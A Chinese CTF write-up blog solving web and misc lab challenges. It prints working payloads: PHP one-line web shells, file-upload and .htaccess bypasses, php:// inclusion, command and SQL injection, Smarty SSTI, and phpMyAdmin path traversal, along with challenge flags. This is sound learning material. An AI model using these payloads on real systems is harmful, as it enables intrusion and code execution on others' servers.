来几个writeup
这里将长期更新我作为新手遇到的有趣的题目的个人做题想法与见解,不定期更新,写手水平较菜,有问题请提出哦。
一.攻防世界
1.php2(web)
首页我们可以看到:
Can you anthenticate to this website?
在这里我们首要想到尝试访问首页和一些关键目录及敏感文件
1 | /index.phps |
(当然也可以使用御剑或deresearch直接扫描)
尝试过后,我们得到/index.phps 存在源码泄露如下:
1 | <?php |
由此我们可以知道可以尝试修改URL,加上身份标识,且进行urlencode编码(因为源码urldecode会自动解码);
不妨试试直接
1 | http://61.147.171.35:63879/index.php?id=admin |
发现返回:not allowed!
说明我们的猜想是对的,那么进行urlencode再加入:
1 | http://61.147.171.35:63879/index.php?id=%61%64%6d%69%6e |
发现仍然返回:not allowed!
为什么呢?因为浏览器会自动对URL进行一次urldecode,在转入的一瞬间浏览器重新解码为admin
因此我们只要对其进行二次编码即可:
1 | http://61.147.171.35:63879/index.php?id=%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65 |
最终得到flag:
cyberpeace{c5df0b4661f5fe3d57b964a152b41b7a}
2.CatCatCat(misc)
首先先说明一点,本题要用到kali Linux shell的基础操作~~(本人也不清楚有没有其他更好的方法)~~
我们看到该题提供了一张jpg图片和一串文本,先看看图片:
我们按惯例先把图片放进010看看它的十六进制文本,文件头和尾均没有发现什么可疑点,因此我们考虑直接用最原始的方法暴力扫描图片的信息,这时候就要用到kali shell了。
(二编:对不起啊010大人,我错怪你了,010直接检索flag字符串可以直接得到密码QAQ)
这里我提一嘴,kali虚拟机初始账号密码默认为kali,但在部分场景可能存在权限不足的问题,所以我们可以为root设立初始密码,方便以后的使用:
1 | sudo passwd root |
回到正题,我们将猫猫.jpg复制到kali桌面上,然后cd到桌面,用strings命令查看图片所含有的所有隐藏字符,其中有一段尤为明显:
1 | passwordis..catflag.. |
可能是暗示我们某个密码是catflag?
然后我们看向文本,文本标题为“我养了一只叫兔子的91岁的猫猫”,出于敏锐,我们可以猜测可能与Rabbit加密有关,我们网上找一个rabbit加解密网站,发现解密需要密钥,可能就是刚刚在图片扫描得来的:catflag?
试着解密得到:一段大概长这样的:(较长只截取一小段)
1 | [BBo!9/DC>ie5HE%*6YPIlxaxeQ.IzI9g1RLRf%PjWi8of+s)d[8y|u5.cL]D)=9W/HqUYt3P_o%"3P_oj"3P_o6cTf=[jBo!9/DC>ie5HE%*6YPIlxaxeQ.IzI9g1RLRf%PjWi8of+s)d[8y|u5.cL]DW35W/HqUYt3P_ow"3P_ow"3P_o6cTf=[BBo!9/DC>ie5HE%*6YPIlxaxeQ.IzI9g1RLRf%PjWi8of+s)QI8y|u5.cL]D)=9W/HqUYtA |
再根据文本名的91~~(不是暗广)~~,我们猜测为base91编码,丢进去解密得到大概长这样:(一小段)
1 | cat. cat. cat. cat. cat. cat. cat. cat. cat. cat. cat. cat. cat. cat. cat. |
与题目的猫相同,这里我们就可以确定方向应该是正确的了,根据特征判断为Ook语言,解密得到flag:
CATCTF{Th1s_V3ry_cute_catcat!!!}
(kali shell我爱你ლ(′◉❥◉`ლ))
3.ics-06(web)
这题其实没什么难度,主要是我第一次使用burpsuite的intruder模块爆破,感觉挺好玩的()
个人做题时手动试了一下修改URL后面的数字无效后去搜索了一下如何快速尝试然后发现bp可以做到()
这里就简单提一嘴做法,先用bp抓包发送到intruder模块,然后设置id=$$ 的payload,选择numbers进行爆破,很快我们就能发现id=2333时响应长度与众不同,回浏览器试了一下便能得到flag。
另外,weak_auth这题做法类似,不展开说明。
4.view_source
这题我们打开后发现右键被禁用无法查看页面源代码,结合题目我们可以尝试在URL前加入view_source:
1 | view-source:http://61.147.171.105:61223/ |
这样可以强制查看页面源代码得到flag。
ps:如果不知道这种做法也可以直接打开burpsuite查看HTML记录。
5.Web_php_include(web)
这题真的十分震惊小灯我(),一打开来就是PHP代码审计,粗略地看一眼感觉像是PHP伪协议,由于本人学习浅薄,百般尝试无果后去寻找大佬们帮助,发现这题的做法非常多且自由()。。。而且涉及到的知识点较为广,包含但不限于SQL,php伪协议等。值得深入探究,故做此题解QAQ。
首先题目给了一个这样的代码:
1 | <?php |
我们很清楚地可以看到代码对于php://做出了过滤,但显然过滤并不严格,我们可以用最简单的大小写绕过PHP://来完成绕过。
writeup01
这是我能想到最简单的做法了()
题目很清楚地明示我们这题与php伪协议有关,我们就要考虑相关知识,我们知道php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。
因此我们打开burpsuite抓包,将得到的包改为:
1 | GET /?page=PHP://input HTTP/1.1 |
这样我们就可以得到响应如下:
fl4gisisish3r3.php
index.php
phpinfo.php
对此我们再进行改包得到:
1 | GET /?page=PHP://input HTTP/1.1 |
直接得到flag:ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}
从这样看这道题还是蛮简单的(),但是我在网上查了一下,看到了好多震撼小灯的解法emmmmmm,这里也一个个去尝试了一下,在这里分享一下:
writeup02
先鸽着,会补的!!!
writeup03
5.upload1(web)
本题开头让你上传文件,根据经验应该是一句话木马,在尝试后发现只能上传jpg,png文件,于是在本地新建文本文档,然后写一句话木马如下:
1 | <?php |
这里以上述代码为例,稍微讲一下一句话木马的基本原理:
1.php代码的内容部分要包裹在
1 | <?php ?> |
里,才能被服务器所解析;
2.@在代码中的作用是令服务器不报错,即使错误也不报错,减少服务器报错而泄露密码(也就是代码中的“123”);
3.eval()函数的作用:
eval(“echo ‘123’”);的作用是echo ‘123’,句子连起来就变为用post方法接收变量123,也就是执行123.
注意(骗你的其实不重要)
一句话木马写完记得点保存(我才不会说我因为没保存导致没有echoQAQ)
然后把后缀改为jpg直接上传,用burpsuite抓包后改后缀为php后放行,若上传文件后缀名为php说明成功。
再进入文件路径,若页面有123便是成功。
然后用蚁剑连接,密码就是自己设置的123;(注意URL要文件详细路径才能连接成功)
然后找到flag。
注:当后缀为.php的文件无法上传时,我们可以考虑php3,php5,pht,phtml,phps,这些都是php可运行的文件拓展名。
二.buuctf
1.[GXYCTF2019]BabyUpload
这道upload真的非常狡猾,搞了半天才解决,遂记录。
这题我们打开靶机,经典的文件上传。我们试着传入最简单的一句话木马:
1 | <?php |
发现提示"明显是php",说明有对部分木马语句的检查过滤;
于是我们修改后缀为php,发现ph后缀都被过滤;
提示上传类型有限制,于是我们修改content-type字段,一个个尝试,发现image/gif 和image/png都无效,最终image/jpeg有效上传。
再尝试不同格式的一句话木马:
1 | <script language='php'>eval($_POST[cmd]);</script> |
1 | GIF89a |
成功。
注:
这里GIF89a属于文件幻术头;这里总结了部分常见的文件类型头部,到时可转换为十六进制放在头部
二编:GIF89a可以直接放到木马脚本的前面,因为上传的时候前端回将其编码为47 49 46 38 39 61(这里再burp抓到的包可以看到hex)。而其他几种文件的幻术头解码为字符串放到木马脚本前面再传的时候还是不行(因为解码出来有些不是机器码所以复制的时候回乱码)这里可以直接去burp里面改16进制包(在不破坏包的情况下改木马前面的十六进制)。
1 | JPEG文件(.jpg或.jpeg)的幻术头:FF D8 FF |
但是访问 /upload 目录的时候发现了 403 错误。给出了靶场中间件的版本是 Apache ;
于是我们考虑.hitaccess文件,这里同样要把content-type字段改为image/jpeg才能上传哦()
然后就是链接蚁剑,拿到flag!!!
总结:
本题主要问题在于白名单以及.hitaccess文件,建议自行整理一下一句话木马的类型QAQ
2.[GWCTF 2019]我有一个数据库
关于phpmyadmin版本的漏洞本文参考
打开来长这样:

这里我看了源代码发现啥都没有,结合题目便尝试robots协议,发现了phpinfo.php;结果进入环境变量看发现没有flag,于是我们使用御剑扫描工具得到了http://f7d68f86-5e2c-4fbd-aba2-67734794e580.node5.buuoj.cn:81/phpmyadmin/
访问后发现是个phpmyadmin的页面就知道方向对了,然后。。。。。。就不懂了QAQ
网上查找资料发现漏洞便构造payload:
1 | http://f7d68f86-5e2c-4fbd-aba2-67734794e580.node5.buuoj.cn:81/phpmyadmin/?target=db_sql.php%253f/../../../../../../flag |
最终得到:flag{c3903d66-8939-4f91-a849-ae5ed1c106a1}
3.[CISCN2019 华东南赛区]Web11
本题看看源代码很清楚的告诉我们是SSTI中的smarty模版,于是尝试使用phpinfo环境变量里并无flag,于是去网上查找相关资料
前置知识:
(1.{php}标签
Smarty已经废弃{php}标签,强烈建议不要使用。在Smarty 3.1,{php}仅在SmartyBC中可用。
(2.{literal}标签
{literal}可以让一个模板区域的字符原样输出。这经常用于保护页面上的Javascript或css样式表,避免因为Smarty的定界符而错被解析。
PHP5中可用
1 | <script language="php">phpinfo();</script> |
(3.getStreamVariable方法
这个方法可以读取一个文件并返回其内容,可以用self来获取Smarty对象并调用这个方法
新版本smarty已将该静态方法删除
1 | payload:{self::getStreamVariable("file:///etc/passwd")} |
(4.{if}标签
Smarty的{if}条件判断和PHP的if 非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if}. 也可以使用{else} 和 {elseif}. 全部的PHP条件表达式和函数都可以在if内使用,如*||,or,&&*,and,is_array(), 等等
1 | {if phpinfo()}{/if} |
根据页面提示,我们添加xff头:
1 | X-Forwarded-For: {if readfile('/flag')}{/if} |
得到flag
三.NSSCTF
1.easy_md5
1 | <?php |
本题是利用了MD5哈希比较漏洞,条件要求:
name(GET参数) 和password(POST参数) 值不相等- 但它们的 MD5哈希值相等(使用
==弱类型比较)
攻击原理:
当比较0e开头的字符串时,php会将其视为科学计数法的0;
eg.0e123456 == 0e987654 会被视为 0 == 0,返回true;
因此,此题便看明白了,我们只需要分别搞一个0e开头的字符串给name和password参数,便可;
于是我们用burpsuite抓包(用hackbar更快点),改成这样就能拿到flag;
1 | POST /?name=QNKCDZO HTTP/1.1 |
当然,本题还可以使用数组绕过。
原理:MD5不能加密数组,传入数组会报错,但是会继续执行返回结果null,==为弱类型比较,判断为相等,因此打开hackbar输入
/?name[]=123 password[]=456 也可以得到flag。
2.caidao
本题一打开来只有一张图片,图片上写的是一句话木马的一部分,表明服务器可以执行通过POST请求传入的参数为wllm的命令。
1 | @eval($_POST['wllm']); |
我们使用Hackbar试试看,
1 | wllm=system('ls'); |
查看源代码后发现有index.php;
因此我们看看根目录有什么:
1 | wllm=system('ls /'); |
看到目录里有flag,我们直接
1 | wllm=system('cat /flag'); |
就拿到flag了;
本来想试试用蚁剑来做的,发现好像更复杂了doge。
3.babyrce
打开题目,一个php脚本,第一个脚本非常简单,添加新的要求的请求头并发送后,给我们一个文件rasalghul.php,
访问后看到另一个脚本,
1 | ?php |
简单分析一下:
error_reporting(0);关闭错误报告,表明程序不会有任何错误提示;
highlight_file(FILE);输出当前脚本文件内容,突出显示语法结构。__FILE__作为魔法常量,表示脚本的绝对路径;
preg_match(“/ /”, $ip);检查 $$ip变量值中是否存在空格,如果存在停止运行并输出nonono。
shell_exec($ip);函数通过shell命令执行变量并返回输出,可能会引发严重的安全问题;
echo $a;输出shell的结果。
对此,我们先试试看
1 | http://node5.anna.nssctf.cn:22593/rasalghul.php?url=ls |
发现有用,于是我们尝试空格绕过。$IFS
1 | http://node5.anna.nssctf.cn:22593/rasalghul.php?url=ls$IFS/ |
回显得到flag文件,直接使用cat命令查看得到:
1 | http://node5.anna.nssctf.cn:22593/rasalghul.php?url=cat$IFS/flllllaaaaaaggggggg |
flag:NSSCTF{90c1df99-8b8c-4068-b04a-521fffaeed8c}
4.webftp
非常简单,只需要/phpinfo.php就能拿到flag。
5.easypayload1.0(比2.0难其实)
和之前一样,jpg文件上传一句话木马,然后改后缀为php,蚁剑连接在www目录下找到flag:WLLMCTF{I_d0nt_w4nna_wak3up};
但是很高兴这是假的,思索良久后,我们打开burpsuite使用post传参访问文件地址,传值为:
1 | 123=phpinfo(); |
其中123是一句话木马里的语句。
然后就按照经验从environment中找到flag:NSSCTF{484ee820-ec64-470a-9724-b258fffee540}
6.[LitCTF 2023]Ping
又是一道ping的题目
打开容器后,我们也是按照经验先试着ping一下127.0.0.1,发现能回显,于是试试
1 | 127.0.0.1;ls |
发现弹出提示禁止ip之外的输入,这是JS的禁用,于是我们可以通过控制台写代码或者直接F12-F1禁用浏览器JS,然后就可以直接输入了,
返回index.php 和upload;
我们试试查看一下根目录:
1 | 127.0.0.1;ls / |
发现有flag,直接cat:
1 | 127.0.0.1;cat /flag |
得到flag。
7.[SWPUCTF 2021 新生赛]easyupload3.0
这题我们一打开先上手尝试一下,发现不能上传php文件,看到网站提示我们和其他文件一起上传,查询资料后发现可以用.htaccess文件。
htaccess文件负责相关目录下的网页配置,可以帮助我们实现:网页301重定向、自定义404错误页面,改变文件扩展名、允许/阻止特定的用户或者目录的访问,禁止目录列表,配置默认文档等功能。
1 | <FilesMatch "jpg"> |
以上就是一个.htaccess文件,这里作用是将jpg按php文件读取解析。
注意:htaccess文件只能命名为.htaccess,前面不能有前缀!!!
这里简单解释一下:
.htaccess是Apache服务器的硬性规定:Apache的配置文件中有一个指令叫 AccessFileName,它定义了分布式配置文件的名称。在绝大多数服务器的默认配置中,这个指令的值就是:
1 | AccessFileName .htaccess |
这行代码明确告诉Apache:“请去每个目录下寻找一个叫 .htaccess 的文件,并读取其中的配置。” 因此,如果你把它改成其他名字,比如 my.htaccess,Apache在默认情况下就不会认出它,文件也就不会生效了。
接着再和之前一样搞一个一句话木马(轻车熟路了吧)
然后先上传.htaccess,再上传一句话木马,访问文件地址回显成功,说明一句话木马上传成功!
这里我们可以和之前一样用蚁剑连接,在flag.php下找到flag,也可以通过hackbar POST
1 | 123=phpinfo(); |
注:'123’是一句话木马的值。
在Environment中找到flag:
NSSCTF{667ccf7a-b317-4440-a5df-5edfe8567831}
8.[鹏城杯 2022]简单包含
本题的主要考点是php伪协议、文件包含、WAF绕过。
题目如下:
1 | <?php |
看到这里,我们直接用hackbar进行POST传参flag=/var/www/html/flag.php,发现回显waf,
于是我们试试php伪协议,
1 | flag=php://filter/read=convert.base64-encode/resource=flag.php |
还是回显waf;
于是我们试试看看能否看看页面的
1 | flag=php://filter/read=convert.base64-encode/resource=index.php |
果然返回一串base64编码的数据,解码得到:
1 | <?php |
对于这一句:
1 | if (strlen(file_get_contents('php://input')) < 800 && preg_match('/flag/', $path)) { |
我们发现请求体长度小于800会触发waf,于是我们构造payload:
1 | 6=6666666666.........(以下省略800个6)&flag=php://filter/read=convert.base64-encode/resource=flag.php |
成功得到PD9waHAgPSdOU1NDVEZ7ZGM2MzNlYzQtOTk2Yi00MzIwLTljYjctNDM0YTc2NWZlMGUyfSc7Cg==
解码得flag:NSSCTF{dc633ec4-996b-4320-9cb7-434a765fe0e2}
9.[SWPUCTF 2021 新生赛]sql
思路
- 使用常规字符型的联合注入起手
- 通过弹窗,在每个语句中找到对应的过滤内容,替换过滤内容
- 发现显示只有开头,使用函数获取每一段flag
writeup
-
一开始在做闭合中发现
--+被过滤,因为+表示空格;使用
#后发现无回显,考虑用url编码%23. -
发现有回显位,因此用联合注入;
-
使用
order by查询字段数时发现了空格过滤 => 使用/**/替换绕过; -
联合注入查看回显,发现是2,3;
-
然后爆库:
1
-1'union/**/select/**1,database(),3%23
-
开始爆破表格名,使用
where table_name=""时发现了=过滤 => 使用like替换,即:1
where/**/table_name/**/like LFLF_flag
-
同时发现
and被过滤,直接限制表名,不要限制数据库即可; -
得到字段后直接查字段,发现查询到的字数出现限制;
1
?wllm=-1'/**/union/**/select/**/1,2,flag/**/from/**/LFLF_flag
-
尝试使用right()函数,发现被过滤。
-
尝试使用mid()函数:
1 | ?wllm=-1'union/**/select/**/1,mid(flag,1,20),3/**/from/**/LTLT_flag%23 |
从而得到flag。
10.[鹤城杯 2021]EasyP
这题主要考察正则绕过。
以下是源代码:
1 | <?php |
这里解释一下里面新的东西:
1 | $_SERVER[...]:是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等信息的数组。根据中括号内传入的参数不同,返回不同的信息,下面是题目涉及的两个参数: |
第一个if,当POST传入的参数$guest等于$secret时返回flag,但这里不知道$secret;
第二个if,检查当前执行脚本的文件名,从后往前若找到utils.php则过滤掉;
第三个if,检查当前URL的路径地址,若出现show_source则过滤掉;
第四个if,检查show_source是否有定义。
先考虑第二个if语句,我们在utils.php后面加一个非ascii字符即可(从后往前找,遇到非ascii字符就停)
1 | if (preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF'])) { |
在正则表达式中,$ 表示字符串的结尾。所以从后往前找。
再考虑第三个语句:
这里我们要知道一个规则:GET或POST方式传进去的变量名,会自动将空格 + . [转换为_
所以这里我们传入show[source先通过第三个if,在第四个if中GET传参的时候会转换回_
因此得到payload:
1 | /index.php/utils.php/原神牛不牛逼?show[source=1 |
得到flag:NSSCTF{c019aad9-b2c2-40b4-8609-af0985d138bc}
11.[NISACTF 2022]bingdundun~
又是一道upload题目~
这题没有什么很难的,就是一句话木马改成zip文件上传,主要问题就在最后访问的URL这里:
1 | http://node5.anna.nssctf.cn:25522/?bingdundun=phar://aefd03aa3501ef85fca59ffb7394f8dd.zip/upload |
upload这里是一句话木马的文件名,不是连接密码,然后再用蚁剑连接即可。
ps:但是我不明白为什么php文件通过burpsuite改后缀为zip,蚁剑返回数据为空QAQ
12.[GKCTF 2021]easycms
豪豪豪题
一打开来我们看到了一个蝉知企业门户平台,看来似乎要我们找到flag,于是我们考虑用御剑扫描工具(也可以用dereseaech),扫描出
1 | http://node4.anna.nssctf.cn:20408/data/ |
三个响应200的网址,依据经验,admin页面藏有flag的概率最大。
点进去果然要输入密码,我们采用爆破,得到密码为12345,嘿嘿弱密钥也可以直接猜就是了QAQ
进去以后我们一番搜寻,发现里面有自定义主题,我们试着导出主题,然后复制文件下载地址看看(ps:当时解题到一半被拉去吃饭了,回来只能重开一个容器QAQ)
1 | http://node4.anna.nssctf.cn:27312/admin.php?m=ui&f=downloadtheme&theme=L3Zhci93d3cvaHRtbC9zeXN0ZW0vdG1wL3RoZW1lL2RlZmF1bHQvMWIuemlw |
把后面base64解码看看,发现是文件的绝对地址/var/www/html/system/tmp/theme/default/1b.zip;
于是我们把后面改为/flag,用base64编码得到
1 | http://node4.anna.nssctf.cn:27312/admin.php?m=ui&f=downloadtheme&theme=L2ZsYWc= |
得到flag.zip;发现直接打不开,用010editor打开
最终得到flag:NSSCTF{aeb3f2be-0e96-4cf5-bea1-ffdbdf607c62}
弯弯绕绕终于解完,看了看网上的writeup,发现还有神奇做法,相当nb:
01.我们进入admin自定义主题页面,进入自定义,我们看到里面的编辑项目存在“php” ,于是我们可以试着在上面写入简单木马
1 | <?php system("cat /flag");?> |
但是却返回需要验证管理员权限;不知道为什么,别人在这里就可以直接浏览页面得到flag了emmmmmm
但是返回的信息也有用,我们直接利用名称进行目录穿越
…/…/…/…/…/…/system/tmp/xdwe;
保存后页面直接显示flag!!!
13.[NISACTF 2022]level-up
前面几关都比较简单,不细说。
这里主要讲最后一层:
看了大佬的WP才知道这一关用的是create_function
这里简单说一下:
create_function(string a, string b)会创造一个匿名函数,传入的两个参数均为字符串
其中,字符串a中表示函数需要传入的参数,字符串b表示函数中的执行语句
例如,create_function(‘$a’, ‘echo(“hello”);’),我们需要把它看作:
1
2
3
4 function niming($a)
{
echo("hello");
}
因为create_function自带eval命令执行,因此我们需要传入$a为\create_function;
而对于参数$b,我们需要让它执行system()函数,用于回显flag,因此传入$b为}system('cat /flag');//
1 | /55_5_55.php?a=\create_function&b=}system('cat /flag');// |
为什么这个payload能够生效呢?
我们知道create_function会创造匿名函数,而payload的}会将该函数闭合,然后执行system(‘cat /flag’);
最后//把最后的}注释掉,至此已成艺术()
\因为参数a做正则,从后往前。
14.[MoeCTF 2022]ezphp
本题考察的内容是变量覆盖
源代码如下:
1 | <?php |
第一层校验(必须传 flag 参数)
1 | if(!isset($_GET['flag']) && !isset($_POST['flag'])){ |
必须传 flag 参数(GET 或 POST)
第二层校验(不能等于 “flag”)
1 | if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){ |
不能 flag=flag
关键漏洞点 (变量变量)
- POST 变量覆盖
1 | foreach ($_POST as $key => $value) { |
👉 如果你 POST:
1 | flag=aaa |
等价于:
1 | $flag = 'aaa'; |
2.GET 变量变量 + 二次引用(致命点)
1 | foreach ($_GET as $key => $value) { |
如果你 GET:
1 | ?flag=giveme |
那么执行的是:
1 | $flag = $giveme; |
而 $giveme 的值是:
1 | 'can can need flag!' |
最终输出分析
1 | echo 'the flag is : ' . $flag; |
所以访问:
1 | ?flag=giveme |
实际输出是:
1 | the flag is : can can need flag! |
最终payload:
两种
1 | (1)GET ?a=flag&flag=a |
得到flag:NSSCTF{3ff06aab-bca7-4d7c-997b-38634c540d62}
15.[FSCTF 2023]细狗2.0
本题考察RCE,
我们开始时尝试cat失败后,试着使用;ls成功定向到另一个页面,这时我们为了防止cat过滤直接使用more函数,同时发现存在空格过滤,于是
构造payload如下:
1 | http://node4.anna.nssctf.cn:29987/moyu.php?hongzh0=%3Bmore${IFS}/f* |
得到flag:NSSCTF{9516ee02-6f9b-4e86-8b5c-171fea603cc4}
16.[NISACTF 2022]babyupload
神奇题目!!!
一打开环境,正常上传,发现连图片都上传不了QAQ,于是右键查看源码,发现可以访问/source;
访问后得到app.py文件,代码如下:
1 | from flask import Flask, request, redirect, g, send_from_directory |
也是不懂啊,去找了大佬的wp,然后懂了
os.path.join()函数存在绝对路径拼接漏洞
os.path.join(path,*paths)函数用于将多个文件路径连接成一个组合的路径。第一个函数通常包含了基础路径,而之后的每个参数被当作组件拼接到基础路径之后。
然而,这个函数有一个少有人知的特性,如果拼接的某个路径以 / 开头,那么包括基础路径在内的所有前缀路径都将被删除,该路径将视为绝对路径
当上传的文件名为 /flag ,上传后通过uuid访问文件后,查询到的文件名是 /flag ,那么进行路径拼接时,uploads/ 将被删除,读取到的就是根目录下的 flag 文件。
于是用bp抓包改名得到flag。
17.[NISACTF 2022]middlerce
题目:
1 | <?php |
攻击代码:
1 | import requests |
得到flag:NSSCTF{8170e947-d7b7-4e64-8487-7a0e953dac1a}
18.[SWPUCTF 2023 秋季新生赛]RCE-PLUS
题目:
1 | <?php |
明显存在过滤flag,但是没过滤cat等函数,于是我们采用文件写入的方式构造payload如下:
1 | http://node4.anna.nssctf.cn:20156/?cmd=cat /fla* > a.txt |
将cat到的flag写入a.txt文件里,然后访问
1 | http://node4.anna.nssctf.cn:20156/a.txt |
得到flag:NSSCTF{2c4a07e6-f47c-47b4-ba86-94c57de12c48}
19.[HNCTF 2022 WEEK2]Canyource
本题主要考察了无参RCE
1 | <?php |
1 | /[^\W]+\((?R)?\)/ |
\W匹配非字母字符
[ ]不匹配内部的字符
[^\W]匹配字母(负负得正)
[^\W]+匹配一个至多个字母
\((?R)?\)匹配括号,括号中允许有这个当前这个表达式(递归)
这题的正则表达式就是只允许我们使用函数,不允许我们为函数传递参数
核心:当无法直接传递参数时,利用PHP函数从当前环境($_GET、请求头、系统配置)中动态获取数据,构造出一条纯函数调用链,最终实现任意代码执行或文件读取。
构造payload:
1 | ?code=eval(end(current(get_defined_vars())));&cmd=system('more f*'); |
得到flag:NSSCTF{61568bf9-4236-4307-b95a-b8ac56a6278c}
Leave a comment